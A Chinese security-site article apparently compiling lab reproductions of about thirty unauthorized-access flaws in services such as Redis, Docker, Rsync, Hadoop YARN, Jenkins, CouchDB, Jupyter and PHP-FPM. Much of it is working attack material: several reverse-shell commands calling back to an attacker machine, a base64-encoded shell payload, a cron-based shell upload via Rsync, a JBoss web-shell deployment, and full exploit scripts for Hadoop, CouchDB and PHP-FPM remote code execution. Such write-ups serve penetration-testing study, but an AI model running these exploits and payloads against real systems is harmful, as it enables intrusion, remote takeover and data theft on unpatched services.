freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

超全面未授权访问漏洞复现合集
2021-06-22 21:29:34

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

谈不上史上最全,尽量覆盖全面(欢迎评论留言补充),部分因环境受限无法成功复现还望理解。

漏洞原理、描述、危害、修复建议、深层次利用 等不在本文体现,可自行网上搜索。

1. MongoDB未授权访问漏洞

1.1. 环境部署

docker search mongodb  # 从Docker Hub查找镜像
docker pull mongo  #从镜像仓库中拉取或者更新指定镜像
docker images mongo #列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo  # 创建一个新的容器并运行一个命令
docker ps  # 显示正在运行的容器

1624366188_60d1dc6c9829a4d95952f.png!small?1624366188939

此处通过nmap进行扫描,发现端口状态为filtered

root@kali:~# nmap -p 27017 --script mongodb-info 192.168.96.128

1624366203_60d1dc7bb7c84ce51cf58.png!small?1624366204095

在靶机上,执行以下命令:

echo  "net.ipv4.ip_forward = 1"  >>  /usr/lib/sysctl.d/00-system.conf
 systemctl  restart  network

关闭防火墙:

systemctl stop firewalld

重新扫描发现端口状态变为open:

root@kali:~# nmap -p 27017 --script mongodb-info 192.168.96.128

1624366240_60d1dca07d73ec91f736f.png!small?1624366240888

1.2. 漏洞复现

使用工具nosqlbooster4mongo-6.1.8.exe(https://s3.mongobooster.com/download/releasesv6/nosqlbooster4mongo-6.1.8.exe)进行连接:

1624366263_60d1dcb71bce8790fa46e.png!small?1624366263502

2. Redis 未授权访问漏洞

2.1. 环境部署

[root@localhost vulhub-master]# cd redis/
[root@localhost redis]# ls
4-unacc
[root@localhost redis]# cd 4-unacc/
[root@localhost 4-unacc]# ls
1.png  docker-compose.yml  README.md
[root@localhost 4-unacc]# docker-compose build&&docker-compose up -d

2.2. 漏洞复现

使用nmap进行扫描:

nmap -A -p 6379 --script redis-info 192.168.96.128

1624366308_60d1dce49b77fb9000628.png!small?1624366309000

./redis-cli -h 192.168.96.128

1624366322_60d1dcf2410f18b01d4b3.png!small?1624366322591

3. Memcached 未授权访问漏洞

Cve编号:CVE-2013-7239

3.1. 环境部署

memcached安装参考

https://blog.csdn.net/weixin_42231507/article/details/81147203

netstat -an |more

1624366343_60d1dd07ca04d86f79e24.png!small?1624366344487

3.2. 漏洞复现

nmap -sV -p11211 --script memcached-info 192.168.96.128

1624366356_60d1dd149c5bdb67ddde8.png!small?1624366357372

telnet 192.168.96.128 11211

1624366360_60d1dd18666c32ee71630.png!small?1624366360768

root@kali:~# nc -vv 192.168.96.128 11211

1624366365_60d1dd1d794cda013bb55.png!small?1624366365907

4. Jboss未授权访问漏洞

4.1. 环境部署

使用vulhub搭建漏洞环境(vulhub/jboss/CVE-2017-7504)

1624366513_60d1ddb19e7160df94f43.png!small?1624366514005

http://192.168.96.128:8080/

1624366521_60d1ddb9b898cfa37115f.png!small?1624366522403

4.2. 漏洞复现

打开JMX Console

1624366542_60d1ddce491c45d7cc756.png!small?16243665426741624366549_60d1ddd5869e2c65338ec.png!small?1624366550043

打开

http://192.168.96.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

1624366557_60d1dddd4237982b32bb6.png!small?1624366557716

然后部署应用:

应用地址为:http://192.168.96.132/shell.war(在Kali主机上启用root@kali:~/server# python -m SimpleHTTPServer 80)

1624366570_60d1ddea08f050044cc73.png!small?1624366570544

成功部署:

1624366582_60d1ddf6c5f1e9a0931fd.png!small?1624366583086

访问http://192.168.96.128:8080/shell/可以看到我们的shell:

1624366587_60d1ddfbd76204b4f4094.png!small?1624366588295

使用冰蝎连接木马:

1624366595_60d1de0312f6b0aa8e71f.png!small?1624366595422


1624366606_60d1de0ec39e5d2263498.png!small?1624366607235

执行命令:

1624366610_60d1de12d2b463eef1a2b.png!small?1624366611387

4.3. 参考

https://www.cnblogs.com/-an-/p/13566483.html

5. VNC未授权访问漏洞

5.1. 环境部署

安装vnc可参考https://blog.csdn.net/nahancy/article/details/86316971

1624366631_60d1de27018106fc06dcb.png!small?1624366632286

5.2. 漏洞复现

这里遇到一个问题:

部署的vnc环境,必须得设置密码,VNC服务才能启动。

但有密码,就无法复现该漏洞(攻击者无法获取到密码)

这里可参考其他人发的,使用VNC Viewer 进行漏洞利用:

1624366644_60d1de34ef34df97b1f71.png!small?1624366645735

1624366663_60d1de47eedfd12715de3.png!small?1624366664508

6. Docker未授权访问漏洞

6.1. 环境部署

cd /vulhub-master/docker/unauthorized-rce

docker-compose build&&docker-compose up -d

6.2. 漏洞复现

访问http://192.168.131.128:2375/version

1624366674_60d1de525907cb97f43b5.png!small?1624366674790

以下操作,应在攻击机上操作,本处攻击机Kali磁盘不足,无法安装docker,故以下命令在靶机执行。

docker -H tcp://192.168.131.128:2375  version

1624366682_60d1de5aef471e135b5e0.png!small?1624366683477

启动容器

docker -H tcp://192.168.131.128:2375 run -id -v /etc/crontabs:/tmp alpine:latest

docker -H tcp://192.168.131.128:2375 ps

1624366688_60d1de60dd7f0ebc6943b.png!small?1624366689520

进入容器:

[root@localhost ~]# docker -H tcp://192.168.131.128:2375 exec -it 5f9f32a6fdc2 sh

1624366694_60d1de66e0f65b50cfdec.png!small?1624366695289

Kali上成功获取到shell:

1624366703_60d1de6fa7aa64df52783.png!small?1624366704018

7. ZooKeeper 未授权访问漏洞

7.1. 环境部署

参考https://blog.csdn.net/baidu_32872293/article/details/92656998

搭建zooKeeper

1624366715_60d1de7b0335cd1ae4159.png!small?1624366715482

7.2. 漏洞复现

执行root@kali:~# echo envi|nc 192.168.131.128 2181 获取服务器环境信息:

1624366720_60d1de809f099ddd43792.png!small?1624366721007

root@kali:~# echo stat |nc 192.168.131.128 2181

1624366723_60d1de83c0b94be8d1c38.png!small?1624366724194

参考

1624366729_60d1de892235c1f4dd293.png!small?1624366729753

7.3. 参考

https://www.cnblogs.com/xiaozi/p/8277968.html

https://www.icode9.com/content-4-599308.html

8. Rsync未授权访问漏洞

8.1. 环境部署

使用vulhub进行环境部署

root@kali:~# nmap -p 873 192.168.131.128,端口扫描结果:

1624366746_60d1de9ab5fc4f52256fa.png!small?1624366747012

8.2. 漏洞复现

root@kali:~# rsync rsync://192.168.131.128:873/

1624366754_60d1dea215c4e6e01c256.png!small?1624366754478

root@kali:~# rsync rsync://192.168.131.128:873/src/

1624366760_60d1dea8a65127bcba9e1.png!small?1624366761146

下载文件

root@kali:~# rsync -av rsync://192.168.131.128/src/etc/passwd /root/passwd.txt

1624366767_60d1deaf27f9eed2ec6d3.png!small?1624366767516

下载crontab文件:

rsync -av rsync://192.168.131.128/src/etc/crontab /root/crontab.txt

1624366775_60d1deb78f33e7ebae8d3.png!small?1624366776358

编写shell文件:

root@kali:~# cat shell

#!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.131.129/4444 0>&1

赋予执行权限:

chmod +x shell

将shell文件上传到cron.hourly:

rsync -av shell rsync://192.168.131.128/src/etc/cron.hourly

第17分钟时,获取到shell:

1624366782_60d1debeec2ba7951a5f4.png!small?1624366783233

9. Hadoop未授权访问漏洞

9.1. 环境部署

使用vulhub搭建漏洞环境

[root@localhost vulhub-master]# cd hadoop/

[root@localhost hadoop]# ls

unauthorized-yarn

[root@localhost hadoop]# cd unauthorized-yarn/

[root@localhost unauthorized-yarn]# docker-compose build&&docker-compose up -d

访问

http://192.168.131.128:8088/cluster

1624366826_60d1deea05f1ec0380015.png!small?1624366826372

9.2. 漏洞复现

Kali上开启端口监听:

nc -lvp 9999,然后执行EXP:

#!/usr/bin/env python
import requests
target = 'http://192.168.131.128:8088/'
lhost = '192.168.131.129' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

1624366840_60d1def85abe46d24e08c.png!small?1624366840740

10. Jenkins未授权访问漏洞

10.1. 环境部署

[root@localhost vulhub-master]# cd jenkins/

[root@localhost jenkins]# s

bash: s: 未找到命令...

[root@localhost jenkins]# ls

CVE-2017-1000353  CVE-2018-1000861

[root@localhost jenkins]#

[root@localhost jenkins]# cd CVE-2017-1000353/

[root@localhost CVE-2017-1000353]# docker-compose build&&docker-compose up -d

访问http://192.168.131.128:8080/

1624366967_60d1df77ef86082f82404.png!small?1624366968248

10.2. 漏洞复现

使用admin/admin登录【此处漏洞环境需登录才可访问/script,旧版本存在未登录直接访问】

1624366974_60d1df7e0c12a9f91a44e.png!small?1624366974357

执行println "whoami".execute().text

1624366979_60d1df83b41df0cb03377.png!small?1624366980018

println "ls".execute().text

1624366985_60d1df895cac2cce26d46.png!small?1624366985606

执行java-jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"  生成字节码

1624366991_60d1df8fd3a0178142209.png!small?1624366992427

执行python3 exploit.py http://your-ip:8080jenkins_poc.ser将字节码发送到靶机:

1624366998_60d1df966b97f4edcdc1a.png!small?1624366999351

进入靶机可以看到,成功创建success文件:

1624367002_60d1df9a98909e319c2bd.png!small?1624367002980

反弹shell:

生成字节码:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc3.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTMxLjEyOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

1624367014_60d1dfa601bc986ea0138.png!small?1624367014376

发送字节码

root@kali:~/CVE-2017-1000353# python3 exploit.py http://192.168.131.128:8080/ jenkins_poc3.ser

成功获取到shell:

1624367022_60d1dfaee76c8c830fb9d.png!small?1624367023274

10.3. 利用工具

https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar

https://github.com/vulhub/CVE-2017-1000353

10.4. 参考

https://zhuanlan.zhihu.com/p/116067599

11. Elasticsearch未授权访问漏洞

11.1. 环境部署

使用vulhub搭建环境

[root@localhost vulhub-master]# cd elasticsearch/

[root@localhost elasticsearch]# ls

CVE-2014-3120  CVE-2015-1427  CVE-2015-3337  CVE-2015-5531  WooYun-2015-110216

[root@localhost elasticsearch]# cd CVE-2014-3120/

[root@localhost CVE-2014-3120]# LS

bash: LS: 未找到命令...

相似命令是: 'ls'

[root@localhost CVE-2014-3120]# ls

1.png  docker-compose.yml  README.md

[root@localhost CVE-2014-3120]# docker-compose build&&docker-compose up -d

11.2. 漏洞复现

http://192.168.131.128:9200/

1624367045_60d1dfc5cf937e0becad7.png!small?1624367046161

http://192.168.131.128:9200/_cat

1624367051_60d1dfcbdd04d2fd5457a.png!small?1624367052273

http://192.168.131.128:9200/_nodes

1624367057_60d1dfd12438badff4851.png!small?1624367057454

12. CouchDB未授权访问漏洞

12.1. 环境部署

http://couchdb.apache.org/下载安装即可。

12.2. 漏洞复现

http://127.0.0.1:5984/

1624367072_60d1dfe05d4b1e757ebd2.png!small?1624367072762

http://127.0.0.1:5984/_utils/#login

1624367076_60d1dfe4de1c094846f15.png!small?1624367077294

想获取shell,但未成功

#!/usr/bin/env python3

import requests

from requests.auth import HTTPBasicAuth




target = 'http://172.20.10.8:5984'

command = '"bash -i >& /dev/tcp/192.168.131.129/4444 0>&1"'

version = 3




session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

#     'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')




session.auth = HTTPBasicAuth('wooyun', 'wooyun')




if version == 1:

session.put(target + ('/_config/query_servers/cmd'), data=command)

else:

host = session.get(target + '/_membership').json()['all_nodes'][0]

session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)




session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')




if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

使用docker搭建的环境:

[root@localhsot ~]# cd /root/vulhub-master/couchdb/

[root@localhsot couchdb]# cd CVE-2017-12636/

[root@localhsot CVE-2017-12636]# LS

bash: LS: 未找到命令...

相似命令是: 'ls'

[root@localhsot CVE-2017-12636]# docker-compose build&&docker-compose up -d

http://192.168.131.128:5984/_config

1624367120_60d1e0108c9a31e521996.png!small?1624367121287

使用exp:

#!/usr/bin/env python3

import requests

import json

import base64

from requests.auth import HTTPBasicAuth




target = 'http://192.168.131.128:5984'

command = rb"""sh -i >& /dev/tcp/192.168.131.129/4444 0>&1"""

version = 1




session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

#     'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')




session.auth = HTTPBasicAuth('wooyun', 'wooyun')




command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()

if version == 1:

session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))

else:

host = session.get(target + '/_membership').json()['all_nodes'][0]

session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))




session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')




if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

kali先开启端口监听:nc -lvp 4444

然后执行exp:python3 exp.py

Kali上成功获取到shell:

1624367170_60d1e04286b1ee9e45d70.png!small?1624367171072

13. LDAP未授权访问漏洞

参考https://www.cnblogs.com/Zh1z3ven/p/13894171.html

1624367183_60d1e04f4b23c766dd2e7.png!small?1624367183685

14. ActiveMQ未授权访问漏洞

实际上是弱口令。。。

14.1. 环境部署

参考https://blog.csdn.net/u012249177/article/details/81294334

14.2. 漏洞复现

http://192.168.131.128:8161/admin/admin/admin

1624367195_60d1e05b34aa0d9063653.png!small?16243671955331624367198_60d1e05e35f683c9f13ba.png!small?1624367198492

15. Jupyter Notebook未授权访问漏洞

15.1. 环境部署

[root@localhost vulhub-master]# cd jupyter/

[root@localhost jupyter]# ls

notebook-rce

[root@localhost jupyter]# cd notebook-rce/

[root@localhost notebook-rce]# ls

1.png  2.png  docker-compose.yml  README.md

[root@localhost notebook-rce]# docker-compose build&&docker-compose up -d

访问http://192.168.131.128:8888/tree?

1624367206_60d1e066852849d02a6dc.png!small?1624367206786

15.2. 漏洞复现

1624367213_60d1e06d1aa24cf12f65c.png!small?1624367213406

1624367222_60d1e076a53ea029a4a5b.png!small?1624367223113

使用kali监听端口:

Nc -lvp 4444

然后在Terminal执行bash -i >& /dev/tcp/192.168.131.129/4444 0>&1

1624367228_60d1e07c7ffc8ce72a7d6.png!small?1624367228853

Kali(192.168.131.129)成功获取shell:

1624367272_60d1e0a8c9e34dc2e2d93.png!small?16243672731121624367276_60d1e0accc8c1c88b845e.png!small?1624367277194

16. Kibana未授权访问漏洞

16.1. 环境部署

[root@localhost vulhub-master]# cd kibana/

[root@localhost kibana]# ls

CVE-2018-17246  CVE-2019-7609

[root@localhost kibana]#

[root@localhost kibana]# ls

CVE-2018-17246  CVE-2019-7609

[root@localhost kibana]# cd CVE-2018-17246/

[root@localhost CVE-2018-17246]# LS

bash: LS: 未找到命令...

相似命令是: 'ls'

[root@localhost CVE-2018-17246]# Ls

bash: Ls: 未找到命令...

相似命令是: 'ls'

[root@localhost CVE-2018-17246]# docker-compose build&&docker-compose up -d

16.2. 漏洞复现

无需登录,直接访问http://192.168.131.128:5601/app/kibana#/

1624367293_60d1e0bd97ebd76d2f0f8.png!small?1624367293996

17. RabbitMQ未授权访问漏洞

实际上是弱口令。。。

17.1. 环境部署

搭建参考https://blog.csdn.net/qq_17623363/article/details/99694261

访问http://192.168.131.128:15672/

1624367307_60d1e0cb3f6bbc0b0a3f3.png!small?1624367308978

17.2. 漏洞复现

使用guest/guest登录:

1624367317_60d1e0d550afd629807b8.png!small?1624367317868

18. Springboot actuator未授权访问漏洞 

18.1. 环境部署

参考https://github.com/callicoder/spring-boot-actuator-demo

18.2. 漏洞复现

访问http://192.168.131.128:8080/

1624367324_60d1e0dc5045e98252bf9.png!small?1624367325172

http://192.168.131.128:8080/actuator/info

1624367330_60d1e0e2411c0b53027f3.png!small?1624367330598

http://192.168.131.128:8080/actuator/env

1624367338_60d1e0ea60ca55b72619e.png!small?1624367339459

其他利用:

Http

路径

描述

get

/autoconfig

提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过

get

/configprops

描述配置属性(包含默认值)如何注入 Bean

get

/beans

描述应用程序上下文里全部的 Bean,以及它们的关系

get

/dump

获取线程活动的快照

get

/env

获取全部环境属性

get

/env/{name}

根据名称获取特定的环境属性值

get

/health

报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供

get

/info

获取应用程序的定制信息,这些信息由 info 打头的属性提供

get

/mappings

描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系

get

/metrics

报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数

get

/metrics/{name}

报告指定名称的应用程序度量值

post

/shutdown

关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)

get

/trace

提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

19. FTP未授权访问漏洞

19.1. 环境部署

使用centos7自带的vsftpd

19.2. 漏洞复现

ftp://192.168.131.128/

1624367353_60d1e0f972bab74e5d86d.png!small?1624367353790

20. dubbo未授权访问漏洞

20.1. 环境部署

参考https://www.jianshu.com/p/e73d9f3576dd部署dubbo

20.2. 漏洞复现

弱口令

http://192.168.131.128:8888 ,     root/root

1624367362_60d1e102be4eb4c1540d4.png!small?16243673631571624367366_60d1e1060f6633cea8daa.png!small?1624367366413

其他利用方法可参考

https://blog.csdn.net/qq_29277155/article/details/108390891):

1624367372_60d1e10c3d8188e43d61d.png!small?16243673725401624367375_60d1e10f480a7b9137d5a.png!small?1624367375695

21. NFS未授权访问漏洞

21.1. 环境部署

[root@localhost ~]# service rpcbind start && service nfs start;

编辑 /etc/exports 指定共享目录

[root@localhost jean]# cat /etc/exports

/home/xxx/

21.2. 漏洞复现

showmount -e localhost

1624367386_60d1e11aa09abbd359228.png!small?1624367386978


22. Druid未授权访问漏洞

22.1. 环境部署

参考https://github.com/Fokko/docker-druid部署

http://192.168.131.128:8888/unified-console.html

1624367394_60d1e12265ae1db75df27.png!small?1624367394712

22.2. 漏洞复现

复现失败,复现可参考https://www.cnblogs.com/cwkiller/p/12483223.html

23. Windows ipc共享未授权访问漏洞

1624367402_60d1e12ac8316d3d5d53b.png!small?16243674031791624367406_60d1e12e1a3d6fa167e6b.png!small?1624367406349

24. 宝塔未授权访问漏洞

24.1. 环境部署

1624367418_60d1e13a3e00ab0f53004.png!small?1624367418654

24.2. 漏洞复现

使用24.1的环境复现失败

复现可参考https://www.cnblogs.com/bflw/p/13552367.html

1624367424_60d1e14033bdfcd8270cb.png!small?1624367424628

25. PHP-FPM Fastcgi未授权访问漏洞

25.1. 环境部署

[root@localhsot vulhub-master]# cd fpm/

[root@localhsot fpm]# ls

1.jpg  docker-compose.yml  README.md

[root@localhsot fpm]# docker-compose build&&docker-compose up -d

25.2. 漏洞复现

使用exp进行复现:

import socket

import random

import argparse

import sys

from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):

if PY2:

return force_bytes(chr(i))

else:

return bytes([i])




def bord(c):

if isinstance(c, int):

return c

else:

return ord(c)




def force_bytes(s):

if isinstance(s, bytes):

return s

else:

return s.encode('utf-8', 'strict')




def force_text(s):

if issubclass(type(s), str):

return s

if isinstance(s, bytes):

s = str(s, 'utf-8', 'strict')

else:

s = str(s)

return s







class FastCGIClient:

"""A Fast-CGI Client for Python"""




# private

__FCGI_VERSION = 1




__FCGI_ROLE_RESPONDER = 1

__FCGI_ROLE_AUTHORIZER = 2

__FCGI_ROLE_FILTER = 3




__FCGI_TYPE_BEGIN = 1

__FCGI_TYPE_ABORT = 2

__FCGI_TYPE_END = 3

__FCGI_TYPE_PARAMS = 4

__FCGI_TYPE_STDIN = 5

__FCGI_TYPE_STDOUT = 6

__FCGI_TYPE_STDERR = 7

__FCGI_TYPE_DATA = 8

__FCGI_TYPE_GETVALUES = 9

__FCGI_TYPE_GETVALUES_RESULT = 10

__FCGI_TYPE_UNKOWNTYPE = 11




__FCGI_HEADER_SIZE = 8




# request state

FCGI_STATE_SEND = 1

FCGI_STATE_ERROR = 2

FCGI_STATE_SUCCESS = 3




def __init__(self, host, port, timeout, keepalive):

self.host = host

self.port = port

self.timeout = timeout

if keepalive:

self.keepalive = 1

else:

self.keepalive = 0

self.sock = None

self.requests = dict()




def __connect(self):

self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

self.sock.settimeout(self.timeout)

self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# if self.keepalive:

#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)

# else:

#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)

try:

self.sock.connect((self.host, int(self.port)))

except socket.error as msg:

self.sock.close()

self.sock = None

print(repr(msg))

return False

return True




def __encodeFastCGIRecord(self, fcgi_type, content, requestid):

length = len(content)

buf = bchr(FastCGIClient.__FCGI_VERSION) \

+ bchr(fcgi_type) \

+ bchr((requestid >> 8) & 0xFF) \

+ bchr(requestid & 0xFF) \

+ bchr((length >> 8) & 0xFF) \

+ bchr(length & 0xFF) \

+ bchr(0) \

+ bchr(0) \

+ content

return buf




def __encodeNameValueParams(self, name, value):

nLen = len(name)

vLen = len(value)

record = b''

if nLen < 128:

record += bchr(nLen)

else:

record += bchr((nLen >> 24) | 0x80) \

+ bchr((nLen >> 16) & 0xFF) \

+ bchr((nLen >> 8) & 0xFF) \

+ bchr(nLen & 0xFF)

if vLen < 128:

record += bchr(vLen)

else:

record += bchr((vLen >> 24) | 0x80) \

+ bchr((vLen >> 16) & 0xFF) \

+ bchr((vLen >> 8) & 0xFF) \

+ bchr(vLen & 0xFF)

return record + name + value




def __decodeFastCGIHeader(self, stream):

header = dict()

header['version'] = bord(stream[0])

header['type'] = bord(stream[1])

header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])

header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])

header['paddingLength'] = bord(stream[6])

header['reserved'] = bord(stream[7])

return header




def __decodeFastCGIRecord(self, buffer):

header = buffer.read(int(self.__FCGI_HEADER_SIZE))




if not header:

return False

else:

record = self.__decodeFastCGIHeader(header)

record['content'] = b''




if 'contentLength' in record.keys():

contentLength = int(record['contentLength'])

record['content'] += buffer.read(contentLength)

if 'paddingLength' in record.keys():

skiped = buffer.read(int(record['paddingLength']))

return record




def request(self, nameValuePairs={}, post=''):

if not self.__connect():

print('connect failure! please check your fasctcgi-server !!')

return




requestId = random.randint(1, (1 << 16) - 1)

self.requests[requestId] = dict()

request = b""

beginFCGIRecordContent = bchr(0) \

+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \

+ bchr(self.keepalive) \

+ bchr(0) * 5

request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,

beginFCGIRecordContent, requestId)

paramsRecord = b''

if nameValuePairs:

for (name, value) in nameValuePairs.items():

name = force_bytes(name)

value = force_bytes(value)

paramsRecord += self.__encodeNameValueParams(name, value)




if paramsRecord:

request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)

request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)




if post:

request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)

request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)




self.sock.send(request)

self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND

self.requests[requestId]['response'] = b''

return self.__waitForResponse(requestId)




def __waitForResponse(self, requestId):

data = b''

while True:

buf = self.sock.recv(512)

if not len(buf):

break

data += buf




data = BytesIO(data)

while True:

response = self.__decodeFastCGIRecord(data)

if not response:

break

if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \

or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR

if requestId == int(response['requestId']):

self.requests[requestId]['response'] += response['content']

if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:

self.requests[requestId]

return self.requests[requestId]['response']




def __repr__(self):

return "fastcgi connect host:{} port:{}".format(self.host, self.port)







if __name__ == '__main__':

parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')

parser.add_argument('host', help='Target host, such as 127.0.0.1')

parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')

parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')

parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)




args = parser.parse_args()




client = FastCGIClient(args.host, args.port, 3, 0)

params = dict()

documentRoot = "/"

uri = args.file

content = args.code

params = {

'GATEWAY_INTERFACE': 'FastCGI/1.0',

'REQUEST_METHOD': 'POST',

'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),

'SCRIPT_NAME': uri,

'QUERY_STRING': '',

'REQUEST_URI': uri,

'DOCUMENT_ROOT': documentRoot,

'SERVER_SOFTWARE': 'php/fcgiclient',

'REMOTE_ADDR': '127.0.0.1',

'REMOTE_PORT': '9985',

'SERVER_ADDR': '127.0.0.1',

'SERVER_PORT': '80',

'SERVER_NAME': "localhost",

'SERVER_PROTOCOL': 'HTTP/1.1',

'CONTENT_TYPE': 'application/text',

'CONTENT_LENGTH': "%d" % len(content),

'PHP_VALUE': 'auto_prepend_file = php://input',

'PHP_ADMIN_VALUE': 'allow_url_include = On'

}

response = client.request(params, content)

print(force_text(response))

D:\hw>python php.py 192.168.131.128 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;exit;?>"

1624367501_60d1e18d21b48b7a6dd99.png!small?1624367501495

26. Weblogic未授权访问漏洞

26.1. 环境部署

[root@localhsot weblogic]# cd CVE-2018-2894/

[root@localhsot CVE-2018-2894]# docker-compose build&&docker-compose up -d

26.2. 漏洞复现

无需登录,直接未授权访问http://192.168.131.128:7001/ws_utc/config.do

1624367510_60d1e1962117b045283ac.png!small?1624367510380

27. uWSGI未授权访问漏洞

27.1. 环境部署

[root@localhsot vulhub-master]# cd uwsgi/

[root@localhsot uwsgi]# ls

CVE-2018-7490  unacc

[root@localhsot uwsgi]# cd unacc/

[root@localhsot unacc]# docker-compose build&&docker-compose up -d

27.2. 漏洞复现

使用以下exp:

https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py

执行:

D:\hw>python test.py -u 192.168.131.128:8000 -c "touch /tmp/20201125"

1624367520_60d1e1a07c9767b6049ba.png!small?1624367520780

成功创建文件:

1624367526_60d1e1a6d24f5c721d7df.png!small?1624367527216

尝试获取shell,未成功。。。

28. WordPress未授权访问漏洞

28.1. 环境部署

略。

28.2. 漏洞复现

可参考

https://www.cnblogs.com/bflw/p/12342845.html

29. Kong未授权访问漏洞(CVE-2020-11710)

29.1. 环境部署

略。

29.2. 漏洞复现

复现可参考https://xz.aliyun.com/t/7631

30. ThinkAdminV6未授权访问漏洞

30.1. 环境部署

略。

30.2. 漏洞复现

可参考https://www.cnblogs.com/cn-gov/p/13715861.html

31. 参考

未授权访问漏洞总结

https://www.freebuf.com/articles/web/207877.html

未授权访问漏洞总结

https://www.cnblogs.com/csnd/p/11807650.html

未授权访问

https://www.yuque.com/cheng-4ueio/tow7i5/uugb6t

26种未授权访问漏洞总结

https://blog.csdn.net/qq_29277155/article/details/108390891

传送门

https://github.com/jeansgit/Pentest

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 渗透测试 # web安全 # 系统安全 # 网络安全技术
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑